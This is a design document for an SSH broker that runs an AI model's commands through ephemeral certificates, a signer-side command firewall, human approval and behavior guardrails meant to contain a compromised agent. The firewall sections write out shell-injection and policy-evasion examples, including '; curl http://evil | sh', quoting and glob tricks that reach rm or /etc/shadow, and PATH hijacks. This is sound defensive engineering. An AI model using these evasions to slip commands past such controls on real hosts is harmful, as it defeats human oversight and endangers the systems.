Skip to content

Architecture — infrabroker

How the system is built and why. For the threat model (actors, trust boundaries, explicit gaps) see THREAT_MODEL.md; for the operational runbook see OPERATIONS.md.


What it is, in one paragraph

An AI model needs to run commands on Linux hosts over SSH, but static SSH keys are exfiltratable (prompt injection, memory dump) and, once stolen, valid forever. The SSH broker is an intermediary: the model never receives any credential, only the result of the execution (stdout / stderr / exit_code). For every operation the broker generates an ephemeral Ed25519 key pair in memory (never on disk), obtains a short-lived SSH certificate signed by a CA, opens the SSH connection with that cert, and discards the material when done.

In remote mode (production) a separate service (cmd/signer) holds the CA key and the policy; the broker only ever receives the signed cert, so a compromised broker cannot steal the key. A third frontend (infrabroker serve-mcp-http, v1.4.0) exposes the broker over HTTP protected by OAuth2/OIDC for multi-user network deployments; the user's OIDC identity is propagated to the signer for per-user RBAC.

Local mode (single binary, ca_key in the broker) is still supported in code but is no longer the active configuration. See config.example.json and the buildSigner function in engine.go.


Architecture on one page

AI model (Claude / OpenCode)
    │                           │
    │  stdio MCP (local)        │  HTTP+Bearer MCP (network)
    │                           │  Authorization: Bearer <OIDC token>
    ▼                           ▼
infrabroker serve-mcp          infrabroker serve-mcp-http ← never hold the CA key
    │  same tool surface       │  validates JWT via JWKS (go-oidc)
    │  caller="mcp-stdio"      │  caller={sub, groups from token}
    │                          │  propagates EndUser+EndUserGroups to the signer
    └─────────────┬────────────┘
                  │
    │  on startup:  GET /v1/hosts → cache
    │  every 5 min: GET /v1/hosts → refresh   ← hosts_refresh_seconds (default 300s, configurable)
    │
    │  generates ephemeral Ed25519 pair        ← private key stays here
    │  sends Intent{host, role, purpose,
    │    command, pubkey, sudo?, sudo_user?,
    │    pty?, end_user?, end_user_groups?,
    │    end_user_context?}
    │
    │  HTTPS + mTLS  (pki/broker.crt, CN=broker-1)
    ▼
[cmd/control-plane]  (optional PEP)            ← no CA key
    │  forwards /v1/sign, /v1/hosts (on_behalf_of)
    │  orchestrates human approval (202 + polling)
    │  behavior guardrails (observe/enforce, rate)
    │
    │  HTTPS + mTLS
    ▼
cmd/signer  ~/bin/signer                       ← sole custodian of the CA key
    │  GET /v1/hosts  → returns {addr, user, host_key, jump,
    │                   allow_sudo, allow_pty, groups} per host,
    │                   filtered by the caller's groups (RBAC)
    │                   (policy never leaves: principal, source_address,
    │                    allowed_callers, allowed_sudo_users, max_ttl,
    │                    command_policy)
    │  POST /v1/sign  → check group RBAC (HostSetForCaller)
    │               → PolicyTable.Resolve(Intent)
    │    → Constraints (principal, source-address,
    │      force-command [with sudo if applicable],
    │      port-forwarding, permit-pty, TTL)
    │    → ElevationPrefix (for sessions)
    │  ca.BuildAndSign(caKey, pubkey, c)
    │  audit: issued / denied (with elevation/PTY)
    │  POST /v1/reload → hot-reload signer.json (hosts/max_ttl/ca_keys)
    │                    only CNs in reload_callers; or via SIGHUP (local)
    │
    └──► returns {Certificate, Serial, ElevationPrefix?}
    │
    │  SSH with ephemeral cert
    ▼
[Bastion :22]                                  ← cert with permit-port-forwarding
    │  direct-tcpip
    ▼
[Target :22]                                   ← cert with force-command (one-shot)
    │                                             or without force-command (session)
    │                                             permit-pty if PTY requested
    └──► stdout/stderr/exit_code
         ← broker → model

Triple audit correlated by serial:

  1. cmd/signer → issuance log (caller, host=FQDN, user, principal, role, purpose, elevation, pty, serial)
  2. infrabroker serve-mcp → execution log (caller, host, user, cmd, exit_code, serial, session_id, elevation, pty)
  3. sshd → Accepted certificate ID "agent=... host=... elev=sudo:root pty=1" (serial XXXX)

Request flow

  1. The model calls an MCP tool (ssh_execute, ssh_session_open, …).
  2. The frontend derives the caller identity (mcp-stdio, mTLS CN, or OIDC sub+groups) and forwards it to the engine.
  3. The engine resolves the hop chain (target → … → bastion) and, per hop, generates an ephemeral key pair and requests a cert from the signer.
  4. The signer applies RBAC, resolves the policy into certificate constraints, signs with the CA key, and returns the cert.
  5. The engine dials the SSH chain with the ephemeral private keys + certs, runs the command (or opens a persistent session), and audits the result.
  6. The ephemeral material is discarded; the model receives only the output.

Privilege elevation (sudo NOPASSWD)

Authorization is policy-gated in the signer; the broker never decides to elevate on its own. Validation (internal/signer/signer.go):

  • Regex over sudo_user (^[a-zA-Z0-9_][a-zA-Z0-9_.-]{0,31}$) — rejects flags and metacharacters.
  • Allowlist allowed_sudo_users (empty = root only).
  • A simple command (one statement, statically-known words — directArgv) is handed to sudo as a direct argv: prefix -- systemctl restart nginx.service. The host's sudoers rule then authorizes the real binary with its literal arguments, mirroring the command_policies string (#306).
  • Anything with shell semantics (pipes, sequences, redirects, env assignments, expansions, globs) is wrapped as prefix -- /bin/sh -c <shellQuote(cmd)> to prevent injection. Capability is identical either way; only the executed form differs.

One-shot (ssh_execute with sudo=true)

broker → Intent{sudo=true, sudo_user="root", command="id", purpose=oneshot}
signer → PolicyTable.Resolve → force-command = "sudo -n -- id"
       → cert with force-command baked in
sshd   → enforces the force-command; the broker cannot modify it

Session exec with sudo=true

broker → Intent{sudo=true, purpose=session} → signer returns ElevationPrefix="sudo -n"
       → ElevationPrefix stored in liveSession.elevationPrefix
SessionExec("ls /root")     → effective command: "sudo -n -- ls /root"
SessionExec("ls / | wc -l") → effective command: "sudo -n -- /bin/sh -c 'ls / | wc -l'"

Session shell/pty with sudo=true

broker → OpenShell(client, "sudo -n -- /bin/sh")   ← whole shell elevated
       → the entire session runs as root in a single sudo process

Host-side config (/etc/sudoers.d/broker). sudoers matches the rule's arguments against the user's argv joined by spaces (fnmatch(3)), so the rule must mirror what the broker actually executes (#305):

# SSH account 'deploy', sudo to root without password (lab shortcut):
deploy ALL=(root) NOPASSWD: ALL

# Restricted per command (recommended in production) — one line per allowed
# SIMPLE command, matching the direct argv the signer emits:
deploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx.service
deploy ALL=(root) NOPASSWD: /usr/bin/journalctl -u nginx --since -1h

# A command with shell semantics keeps the /bin/sh -c wrapper, so its rule
# authorizes /bin/sh with the wrapped argument. The anchored-regex form (sudo
# >= 1.9.10) avoids the escaping minefield:
deploy ALL=(root) NOPASSWD: /bin/sh ^-c journalctl -u nginx \| tail -n 50$

# Sudo to a specific user:
deploy ALL=(appuser) NOPASSWD: ALL

sudoers argument matching is a minefield — every claim here was checked against a live visudo -c:

  • Never use wildcards. fnmatch runs without FNM_PATHNAME, so * crosses spaces and ;: NOPASSWD: /bin/sh -c * is NOPASSWD: ALL, and even systemctl restart * matches an injected ; curl http://evil | sh.
  • Double quotes do not group arguments in a Cmnd (only in Defaults values) — they are matched as literal bytes, so a quoted rule never matches.
  • In the escaped-spaces form, escape the spaces only: \| is a syntax error that invalidates the whole file, while a bare | inside the escaped argument is fine (/bin/sh -c journalctl\ -u\ nginx\ |\ tail\ -n\ 50 parses and matches).
  • An unescaped # silently truncates a rule; unescaped , : = \ invalidate the file.

Non-executing check that a rule matches, as root: sudo -l -U deploy -- /usr/bin/systemctl restart nginx.service.


Design decisions, grouped by theme

Credential custody & component separation

Broker/signer separation. The broker sends an intent (host, role, purpose, command, pubkey, sudo?, sudo_user?, pty?). The signer decides every certificate constraint. The ephemeral private key is generated in the broker and never leaves it; only the pubkey travels to the signer, which returns the cert (+ ElevationPrefix for sessions). A compromised broker cannot mint certificates or elevate where policy forbids it.

signer.json as the single source of truth for hosts. The broker does not declare hosts. On startup it calls GET /v1/hosts (mTLS) and caches {addr, user, host_key, jump, allow_sudo, allow_pty, groups} (groups since v1.12.0, used to filter ssh_list_servers by the end user's OIDC groups). It refreshes every hosts_refresh_seconds; on periodic failure it keeps the previous cache. New ssh_execute and ssh_session_open calls refresh the host view immediately before building SSH hops and fail closed if that refresh fails, so new connections do not silently use stale addr/host_key/jump data. The internal policy (principal, source_address, allowed_callers, allowed_sudo_users, max_ttl, command_policy) never leaves the signer. Operational implication: adding a host = edit signer.json + reload the signer. The server list sees it in ≤ the refresh interval, while new connection attempts fetch it immediately.

Why a custom MCP and not mcp-ssh-manager. mcp-ssh-manager uses the Node ssh2 1.17 library, which does not support SSH client certificates. With a key + cert in the SSH agent, ssh2 offers sshd only the bare key (ED25519, not ED25519-CERT), which sshd rejects. The custom Go broker uses golang.org/x/crypto/ssh, which supports client certs correctly.

One-shot vs sessions

force-command only in one-shot, not in sessions. A one-shot cert carries force-command=<cmd> (including the sudo prefix when elevation is requested). In sessions the cert authenticates the connection and commands travel as separate channels → the cert cannot carry a force-command. The broker preflights every ssh_session_exec against the current signer policy before opening the SSH exec channel, so signer reloads affect sessions that were already open: target access, bastion access, end-user groups, sudo, sudo_user and PTY are revalidated. The broker also compares the session's original physical SSH chain (addr/user/host_key/jump) with the current signer host view before each session command; if it changed, the command is rejected and a new session must be opened. For hosts with a command_policy, mode=exec commands are checked and shell/pty commands are rejected because stateful command streams are not independently verifiable. This is weaker than one-shot against a compromised broker, because the host does not enforce the per-command decision — see THREAT_MODEL.md.

Stateful shell: without PTY vs with PTY. - Without PTY (mode=shell): OpenShell(client, shellCmd) starts /bin/sh (or sudo -n -- /bin/sh if elevated). No echo or prompt. Stdout and stderr stay separate. Markers detect end-of-command and exit code. - With PTY (mode=pty): OpenShellPTY(client, shellCmd, opts) requests a PTY, starts the shell with stty -echo; PS1='' to silence echo, and reuses the same marker protocol. Stdout and stderr are merged in the PTY channel.

Concurrency bug in ShellSession (resolved). First version: a new reader goroutine per call over the same shared bufio.Reader → race condition. Fix: a single persistent reader goroutine feeding a chan lineRes; each Exec() consumes from the channel directly.

Routing / bastions

source-address on jump chains. With ProxyJump, the TCP to the target leaves the bastion, not the broker. The target cert must pin the bastion's egress IP. Controlled per host via source_address in signer.json.

AllowAsBastion in policy. By default a host cannot be used as a ProxyJump hop. It must be explicitly marked allow_as_bastion: true (enables permit-port-forwarding in its cert). Local single-binary mode honors the same gate (v1.13.0): only hosts explicitly marked, or referenced as another host's jump target, are bastionable — previously local mode forced it on for every host.

RBAC

Per-end-user RBAC (EndUser/EndUserGroups). When Intent.EndUserGroups is non-nil (HTTP+OIDC frontend), Resolve requires hp.Groups ∩ EndUserGroups ≠ ∅. If nil (stdio/mTLS), the filter is not applied — fully compatible. The EndUser also appears in the cert KeyID for sshd traceability. Applied to all hops (bastion + target). Fail-closed (v1.11.2): with groups_claim configured, a token without the claim is rejected (the verifier never produces nil groups by omission).

Per-group RBAC (mTLS CN → allowed_groups). Each host declares its groups; the callers section maps each broker's mTLS CN to the groups it may use. Double enforcement: GET /v1/hosts filters the response, and POST /v1/sign rejects (403) hosts outside the caller's group set before reaching Resolve(). A non-empty callers table is default-deny (v2.0.0): a CN absent from it reaches no host. Additive with per-host allowed_callers: a broker must pass both.

Enriched signer audit (FQDN, user, principal). auditEmission() logs host=hp.Addr (real FQDN/addr instead of the short logical name), user, and principal on every issued/denied event, via a PolicyTable lookup. If the host is absent (group denial before Resolve()), the logical name is the fallback.

AI-action firewall

Command policy + dry-run (v1.5.0, Phase A). Beyond gating access, the signer gates what command runs — defending against a compromised agent. internal/signer/cmdpolicy.go: CommandPolicy{Mode, Allow, Deny, RequireApproval, ShellParse, Enforcement} + Decide(), RE2 regexes (linear time) with a package-level cache. Authoritative for one-shot (the allowed command is baked into the force-command by the CA key — inevadible). Dry-run (Intent.DryRun) resolves the policy and returns the decision without issuing a cert; an enforce denial is a result (Allowed=false), not an error. enforcement: "audit" turns would-deny and would-require-approval outcomes into warnings so operators can collect a baseline before switching to enforce; in composed policies, enforce wins over audit. A command-policy host rejects role=bastion (v1.13.0): the signer refuses a config that marks it both command_policy and allow_as_bastion. A bastion certificate carries no force-command (and grants port-forwarding), so without this the firewall could be bypassed by requesting a bastion-role cert for a command-restricted host.

Command firewall for sessions. A session open on a command-policy host must declare session_mode="exec"; shell and pty are rejected. The open cert still has no force-command, but every ssh_session_exec performs a signer dry-run with purpose=session, the live session_mode, the exact command, and the session's sudo/sudo_user/PTY state. This also covers sessions opened before a policy reload: an existing exec session starts enforcing the new policy on the next command, while an existing shell/pty session is rejected on the next command. If the decision is denied or approval-gated in enforce, the broker refuses to send the SSH request. If the effective policy is audit, the broker sends the command and returns/audits the warning. When routed through the control plane, this dry-run carries preflight=true, so behavioral guardrails and rate limits are applied because execution follows an allowed decision.

Anchoring, shell metacharacters & shell_parse (v1.9.2; on by default #211). POSIX-sh AST parsing (mvdan.cc/sh/v3) runs by default for any active command policy: each simple command is checked separately, and the command is accepted only if it is built exclusively from a small surface the signer can vet completely (#820):

  • simple commands whose words are all statically known (next paragraph);
  • pipes and sequences — a | b, a && b, a || b, a; b — plus ! a and a trailing a &: every part must pass the policy;
  • fd→fd redirects between single-digit descriptors, attached to a command — 2>&1, 1>&2, 2>&-;
  • grouping — ( a; b ), { a; b; };
  • if / while / until — if a; then b; elif c; then d; else e; fi, while a; do b; done: conditions, branches and bodies are all checked.

The walker is a fail-closed allowlist of syntax-node types: grouping, if and while are accepted because their children are only statements, so they introduce no word the policy does not vet. Everything else is rejected, including any construct a future parser version adds:

  • for … in …, select, for ((…)) — the loop variable is an assignment (for PATH in /tmp/evil; do <allowed>; done) and the item list is unvetted words;
  • case, [[ … ]], let, (( … )), $(( … )) — an arithmetic context performs command substitution on quoted text ($(( '$(cmd)' )) runs cmd on dash, bash, zsh and ksh; let 'a[$(cmd)]=1' on bash, zsh and ksh; [[ 'a[$(cmd)]' -eq 0 ]] on bash and ksh, and on zsh when the name is an existing array such as path), so a payload there never appears as a command the policy could see;
  • command / process substitution, parameter expansion, extended globs;
  • function declarations, time, coproc, |&;
  • file redirects, here-documents and here-strings, and {NAME}>&2 (a named-fd redirect assigns the variable NAME);
  • export / declare / readonly / typeset / local (also when the keyword is quoted: 'export' A=1), inline or standalone FOO=bar assignments, and the builtins that write a variable (read, getopts, unset, printf -v, … — see "Builtins that write a variable" below).

The rejection names the construct (shell construct not allowed by command policy: for loop …). The remedy is to put the logic in a script on the host and allow that script by its explicit path.

Opting out per policy with shell_parse: false falls back to matching the command as a whole string, where &&, ;, |, ` and $() are transparent to the evaluator (allowlist ["^ps"] then lets ps aux && kill -9 1 through, and ^kubectl get lets kubectl get pods; rm -rf /etc through) — only safe when the target is not a POSIX shell.

Words the signer cannot resolve statically are rejected (v3.0.1 / #308). With shell_parse on, each command word is decoded to the literal value the target shell will execute, so the policy matches what runs rather than the caller's quoting ('rm' and r"m" both decide as rm — #211/#277). A word whose runtime value the signer cannot know is therefore rejected fail-closed instead of being matched against a string the shell would not run:

Rejected (unquoted) Why the signer cannot resolve it
$x, ${x}, $(…), `…`, $((…)), <(…) value comes from the target's environment (and $((…)) runs command substitutions written inside it, even quoted — #820)
*, ?, […] pathname globbing depends on the target's filesystem
{a,b} brace expansion happens on the target
leading ~, and ~ right after = or : expands to a home directory the signer cannot see — bash also expands it inside an argument shaped like an assignment (dd if=~root/x, PATH=/a:~/b) (#821)
leading = zsh (EQUALS, on by default) replaces =cmd with the path of cmd — also ="cmd" and ""=cmd, since empty quotes do not move the start of the word
\ escapes the shell consumes the escape; the decoded value differs
$'…', $"…" bash ANSI-C / locale quoting: dash has neither and zsh no $"…", so those shells read a literal $ and an ordinary quoted string — different words, or different commands (#821)
a $ followed by anything else (also inside "…") the parser keeps e.g. $^x, $=x, $~x, $+x literal, but zsh expands them as parameters (#821); a $ that ends the word, '$…' and "\$…" are literal everywhere and accepted

The command must mean the same in every shell (#821). The signer does not know which shell will parse the command: the account's login shell runs the force-command, /bin/sh runs the sudo wrapper and the sealed-exec shim, and that /bin/sh is dash on Debian/Ubuntu. The policy parser reads the bash dialect, so a construct is accepted only if dash, bash, zsh and ksh all read it as the same commands and words; where they differ it is refused. $'…' is the case that matters most — the #277 decode of $'\x72\x6d' to rm is superseded: such a word is refused, not decoded. In an ANSI-C string \' is an escaped quote; in the plain '…' string dash sees instead, a backslash escapes nothing and that quote ends the string, so

echo $'\' ; touch /tmp/pwn ; \'' #'

was one echo with one harmless argument for the policy and three commands for /bin/dash. Use plain '…' or "…". The same review (a differential run of generated commands through the policy and through dash, bash 3.2/5.3, zsh 5.9 and ksh93, comparing the argv each shell executed with what the policy saw) also closed:

  • a redirect with a multi-digit descriptor — kill -9 10>&1 is the argument 10 followed by >&1 on dash, zsh and ksh, so the command ran with an argument the policy never saw; and a redirect without a command (<&0), for which zsh runs $NULLCMD (cat);
  • a command name ending in an unquoted : — ksh93 reads NAME: cmd as a label followed by the command cmd (x: rm -rf /srv ran rm); and one starting with an unquoted ! — zsh reads &! as one operator, so in true &!rm -rf /srv it ran rm where the policy saw a command named !rm; and one containing an unquoted = — the parser only treats NAME=value as an assignment for a bash identifier, but zsh also assigns positional parameters (1=x rm -rf /srv ran rm) and ksh dotted names;
  • a NUL byte anywhere in the command, which the parser silently drops (reboot\0x was decided as rebootx); and a command string that starts with - or + — it reaches the target as the one argument after sh -c, where such a string is read as shell options, and ksh93 given +x then runs whatever commands arrive on standard input;
  • shell options, which change how the words of a later command expand after the policy has decided on them as literals (setopt extendedglob; cat /etc/shad#ow reads /etc/shadow on zsh; set -k; cmd a=b runs cmd without the argument on bash): setopt, unsetopt and shopt are refused, and set is limited to the error-handling options — set -e, set -u, set -o pipefail|errexit|nounset, their + forms, and combinations of those (set -euo pipefail).

Read identically by all five shells, and still accepted: comments (cmd # note, cmd;# note; a # inside a word is literal), ! negation, { a; } and ( a ) grouping, && / || / | / ; / &, plain '…' and "…" (a backslash inside "…" is kept before any character other than \, ", $ and ` by every one of them), and history references (!!, ^a^b), which are inert under sh -c. What this cannot cover is a target whose own startup files change the shell's options (a zshenv that enables extendedglob), or a shell outside those tested.

Each of these is a bypass class, not a style rule: the policy would otherwise decide on a literal form while the target's $SHELL -c (and the sealed-exec shim) expands it at run time — /bin/r[m] -rf /data globs back to /bin/rm, cat /etc/{a,shadow} brace-expands to /etc/shadow, and r\m -rf /data runs as rm, each dodging a deny / require_approval rule the executed command hits (GHSA-937v-rmqp-j3hx, #308).

The remedy is to quote the word — '/etc/[x]', "a*b", '~notahome' — or to use an explicit value. Quoted metacharacters do not expand on the target either, so they are decoded and matched normally and keep working; the glob/brace, tilde and backslash rejections name the offending word and the remedy. Commands that genuinely need runtime expansion (ls /var/log/*.gz) belong in a script on the host, invoked by an allowed command.

Command-hiding wrappers are rejected too (#352, #371, #377, #461, #463, #551, #820). With shell_parse on, a simple command whose argv[0] is a shell (bash -c, zsh5, rbash), a scripting interpreter (python3.12 -c, perl -e, Rscript -e), a pure wrapper that always execs another argv (env, timeout, sudo, setsid, flock, systemd-run, strace, tmux, caffeinate, ssh host …), a shell precommand modifier that runs the command following it (zsh noglob, nocorrect, repeat N, emulate sh -c, the bare -; the ksh93 redirect alias), a deferred-execution builtin (eval, source, trap, builtin, hash, mapfile/readarray, zsh's zstyle (-e), autoload / zargs and zpty, and the bash-only callback class compgen -C/-F / complete -C/-F — in any form, the gate matches argv[0] alone, so plain hash or mapfile arr is refused just like hash -p or mapfile -C, and a bare compgen or complete like compgen -C cmd) or find -exec/-execdir/-ok/-okdir is refused outright: the policy only ever sees the outer argv[0], so an anchored deny / require_approval on the real binary would never match. That gate is a blocklist of known names, not a proof — the control that holds is an anchored allowlist with explicit paths (^/usr/bin/systemctl restart nginx$), which admits nothing it does not name.

Builtins that write a variable are refused (#820). Parameter expansion is rejected everywhere under shell_parse, so a variable a command sets can never be legitimately used by a policy-vetted command: a builtin that writes one can only serve to change how a later command runs — printf -v PATH /tmp/evil; ls (bash, zsh), echo /tmp/evil | read PATH; ls (zsh, ksh), getopts a PATH -a; ls (every shell tested). That is the class of the FOO=bar assignments and export already refused (#175), so these are refused the same way, whatever the policy admits:

  • the declaration builtins export, readonly, declare, typeset, local, nameref, integer, float, private, compound, and let — in either spelling ('export' A=1 parses as an ordinary command and is refused like the keyword);
  • read, getopts, unset, and zsh's getln, zformat, zregexparse;
  • printf -v (also -vNAME), zsh print -v, bash wait -p, ksh/zsh set -A. Without that option the builtin stays usable: printf '%s\n' hi, and printf '%s\n' -v where -v is an operand.

Builtins that evaluate their arguments (#820). A second class of ordinary-looking simple commands carries the blocklist caveat of the wrapper gate. Some shell builtins arithmetic-evaluate an argument — a variable name with a subscript, or a number — and arithmetic evaluation runs a command substitution written in that text, although the argument is a quoted, statically known string with no substitution node in it: test 'a[$(cmd)]' -eq 0 and printf %d 'a[$(cmd)]' (ksh), exit 'path[$(cmd)]' (zsh). With shell_parse on, a command whose argv[0] is one of test, [, printf, shift, ulimit, exit, return, break, continue, print, bye, logout, vared, alarm, zparseopts is refused when a decoded argument contains command-substitution syntax ($(, a backtick, or ${); ordinary uses (test -f /etc/hosts, printf '%s\n' x) are unaffected, and so is a quoted $( in the argument of any other command (grep '$(CC)' Makefile). The names are those for which the execution was observed (bash 3.2 and 5.3, zsh 5.9, ksh93; dash evaluates none of them) — a lower bound, not a proof: another shell, version or loadable builtin may evaluate an argument too. Do not allowlist shell builtins with free arguments (^test, ^printf), and do not rely on a denylist to contain them; an anchored allowlist of explicit binary paths admits none of them.

Newlines (v1.11.2): \n/\r in one-shot commands are rejected by PolicyTable.Resolve on every host regardless of shell_parse — a newline would smuggle extra command lines past the regexes (^ps also matches "ps\nrm -rf /", and the remote shell runs both lines).

Composable policies by group (v1.14.0). Beyond the per-host inline command_policy, a named policy library (command_policies) can be attached to groups (group_command_policies: group → [policy names]). A host's effective firewall is the composition of its inline policy plus every policy of every group it belongs to — internal/signer/policyset.go: PolicySet + CompileHostPolicies (resolved and validated at config load, stored on HostPolicy.Policies; a one-element set reproduces CommandPolicy.Decide exactly, so single-policy hosts are unchanged). Composition is additive: deny wins (a deny match in any policy blocks), allow is a union (if any contributing policy is an allowlist, the command must match the union of all of them), require_approval is a union, and shell_parse is OR. The reserved group _default applies to every host (a global guardrail, mirroring ca_keys _default). Reuse of the host's existing groups field means group membership now also grants firewall capabilities — assigning a group can widen a host's allow-set. broker-ctl policy explain --host <h> [--command <c>] prints a host's composed policy and evaluates a command offline.

Dynamic policy operations (v1.17.0). The file stays the source of truth, but three additions remove the edit-and-reload friction: the recommender (internal/policyrec + broker-ctl policy recommend) mines the audit for promote/dead-rule/friction suggestions (read-only, advisory); opt-in auto-reload (auto_reload_seconds) polls the config mtime and hot-reloads via the validated, atomic path; and the validated mutation API (POST/DELETE /v1/policy/hosts/{host}/allow) edits an allow rule by building the new state before persisting it, then writes signer.json atomically and swaps the in-memory policy — auth reload_callers, audited.

Runtime grants & the two-layer model (v1.18.0). Grants add a dynamic overlay on top of the durable file baseline, composed at decision time: internal/signer/grants.go GrantStore (in-memory, GrantProvider) holds time-boxed allow patterns that expire on their own; resolveCommandPolicy appends the host's live grants to its effective PolicySet per request (Local.SignIntent → resolve(in, ttl, grants)). The store is created once and shared into every rebuilt Local, so grants survive config reloads; they are in-memory only, so a restart drops them — which fails safe (the decision falls back to the more-restrictive file baseline, because grants only widen). Creation is operator-only (reload_callers), every operation is audited, and the broker/ agent can never create one. CLI: broker-ctl policy grant|grants|revoke; API under Runtime grants.

The single hard invariant is widen-only, and it is enforced, not assumed. PolicySet.decideOne flips a default-allow host to default-deny the instant any allowlist member appears (step 3: hasAllowlist). So composing an allowlist overlay onto a permissive host would invert it — the opposite of "grant". The grant layer blocks that three ways: grants carry only allow (structurally additive); they are injected only when the baseline is already allowlist-active (eff.hasAllowlist() — on a default-allow/denylist host a grant is a no-op and is refused at creation with 409); and deny still wins (a grant can't override a baseline deny or drop an approval requirement). Example of the prevented inversion: host db01 is default-allow (uptime, ls, everything runs). Naively injecting a grant allow: ["^uptime$"] would make hasAllowlist true and turn db01 into an allowlist that denies ls — strictly narrower. The guard suppresses the injection (and the create returns 409), so db01 stays default-allow.

Approve-and-learn — TTL'd approval waivers (v1.18.0). The second grant dimension closes the loop with human approval. require_approval is orthogonal to allow/deny (decideOne step 2, before allow): a flagged command is one that is already allowed but gated for a human. So a widen-only allow-grant cannot lift that gate — and a require_approval rule can sit on a denylist/off host too, where an allow-grant would even be refused. Approve-and-learn is therefore a WaiveApproval overlay: patterns whose require_approval is suppressed for a TTL, applied in resolveCommandPolicy after the !allowed guard — so it only ever un-gates an already-allowed command, never allows something new, never overrides a deny (no inversion risk, any host). The waiver is minted signer-internally: when a reviewer approves with broker-ctl approval allow <id> --learn --ttl 2h, the control plane carries the learn intent (learn_ttl_seconds/approver/approval-id) on the approved sign, and the signer mints a waiver scoped to the approved broker caller and OIDC end user — honored only because the control plane is a trusted_forwarder (exactly like Approved). No new auth tier; policy authority stays in the signer; a broker can neither self-approve nor self-learn. An approval whose broker-asserted end user the control plane had to drop (the broker is not one of its trusted_forwarders) cannot be learned at all — the waiver would carry an empty end user and match every end user of that broker (#451); it can still be approved without learn. A waiver is bound to the exact command, elevation (sudo/sudo_user), broker caller, and end user that were approved — so approving a non-sudo command never waives its root variant, and another subject still needs its own approval — its waive_approval regex is compiled onto the grant (not the shared cache, so an unbounded stream of learned commands can't pollute it), and re-learning a command for the same scope refreshes the single waiver rather than accumulating duplicates. Waivers live in the same GrantStore (listed/revoked via policy grants/revoke), are TTL'd, periodically purged, and dropped on restart (fail-safe: the gate returns); every mint is audited and linked to its ApprovalID.

Human-in-the-loop & control plane

Control plane + human approval (v1.6.0, Phase B). cmd/control-plane is a PEP between broker and signer: it forwards /v1/sign and /v1/hosts propagating the broker identity (on_behalf_of) and orchestrates approval, without holding the CA key. Trust model: signer.json gains trusted_forwarders (the control plane's CN). The signer honors on_behalf_of and approved only from trusted forwarders → approval and impersonation are unavoidable. Approval gate in the signer is authoritative: SignIntent issues no cert if RequireApproval && !Approved. Async flow (no held connections): broker → control plane POST /v1/sign → 202 {approval_id} → broker polls GET /v1/sign/result/{id} → human approves via broker-ctl approval allow <id> → next poll forwards with approved=true and returns the cert. Pending requests expire after the approval TTL from creation; approved-but-uncollected requests expire after the same TTL from the human decision. Approvals are consumed once and purged 2×TTL after creation.

Behavior guardrails + rate limiting (v1.7.0, Phase C). internal/control/behavior.go: a per-subject in-memory tracker detecting rate spikes, never-before-used hosts, and out-of-history commands (first-token fingerprint). Subject = the authenticated broker CN; the OIDC end user only qualifies the subject (<broker CN>:<end_user>) when the broker CN is in the control plane's trusted_forwarders (v1.12.6). Modes (behavior.mode): off / observe (audits anomaly, never blocks) / enforce (anomalies escalate to approval; rate excess → 429). In enforce, a novel host/command is learned only after the approval is granted and the broker collects the signer response; a repeated unapproved anomaly remains anomalous. Caveat: for trusted forwarders the end_user half is still broker-asserted, so behavior is detection, not containment — see THREAT_MODEL.md.

Extensible notification & approval (v1.8.0 + cmd/approval-bridge, #120). TeamsNotifier (internal/control/teams.go) implements the Notifier interface; notifier: "teams" sends an Adaptive Card v1.4 (Power Automate Workflow) or legacy MessageCard.

Interactive Allow/Deny inside the chat is cmd/approval-bridge — a multi-platform bridge (internal/bridge) built around a PlatformAdapter interface. It is outbound-only: it polls the control plane's mTLS GET /v1/approvals, presents each pending request via the adapter, and relays the human's click to POST /v1/approvals/{id} with its own approver CN — so the control plane's consumed-once and four-eyes guards are unchanged. The Slack adapter uses Socket Mode (an outbound WebSocket, no inbound endpoint). A Teams in-card button would need a Bot Framework bot with a public inbound endpoint (Teams can't present a client cert and Incoming Webhooks don't support Action.Submit), which reintroduces the friction Socket Mode avoids, so it is a deferred adapter; meanwhile Teams approval already works today via the card's approval_url_template link to the web UI /ui/approvals/{id}.

Multi-CA & CA custody (v1.11.0; agent backend #122)

The signer and broker accept a ca_keys map[string]CAKeyConfig. Each entry maps a host-group name to its own CA key with one of three custody backends:

Backend Where the private key lives Algorithms
pem local PEM file on the signer host RSA, ECDSA, Ed25519
akv Azure Key Vault (internal/ca/akv.go) RSA, EC P-256/P-384/P-521 (not Ed25519)
agent ssh-agent socket — YubiKey PIV / SoftHSM / TPM via ssh-add -s (internal/ca/agent.go) whatever the agent key is (Ed25519 supported); process never holds key bytes

CA selection: caKeyFor(hp) returns the first hp.Groups[i] present in groupCAs, else defaultCA. ca_keys["_default"] overrides the legacy ca_key when both are present. internal/ca/loader.go (LoadGroupCAs, 30s timeout) is shared by cmd/signer and internal/broker. AKV EC raw R‖S signatures are converted to DER. The agent backend requires public_key_path to pin which agent key is the CA (no "first key in the agent" fallback).

Session recording (v1.10.0)

shell and pty sessions are recorded to ASCIIcast v2 (.cast) files in session_recording_dir, one per session (<session_id>.cast, correlatable with the audit log). Captures stdin ("i"), stdout ("o"), stderr ("e"); in PTY mode stdout/stderr merge into "o". exec and one-shot are not recorded (their output is already in the MCP response / audit log). internal/recording/recorder.go is thread-safe; permissions 0o600. No automatic rotation.

Code quality

Hardening v1.4.1 (MCP/Snyk review). Twelve findings fixed C→A→M→L: session ownership check (C1); HTTP timeouts (A1) and body/read limits (A2); SSH exec timeout + output cap (A3); audit chain restore on restart (A4); audit errors logged not swallowed (M1); session limits (M2); iat validation (M3); newline rejection in session exec (M5); PEM CA runtime warning (L1); audit log rotation (L2); MCP input validation (L4). The A1/A2 pass was extended to cmd/broker in v1.12.0.

Quality phases F1–F5 (v1.8.1–v1.9.3). gofmt hygiene; t.Parallel() in 63 unit tests; context.Context threaded through the broker/signer request path and SSH network I/O (minor interface bump on Signer.SignIntent; crypto.Signer backends such as AKV enforce their own signing timeout); long-function refactor (no body > 80 lines); full English normalization of comments/errors/CLI strings. CODING_STYLE.md codifies the rules with mechanical checks.

OAuth/OIDC frontend

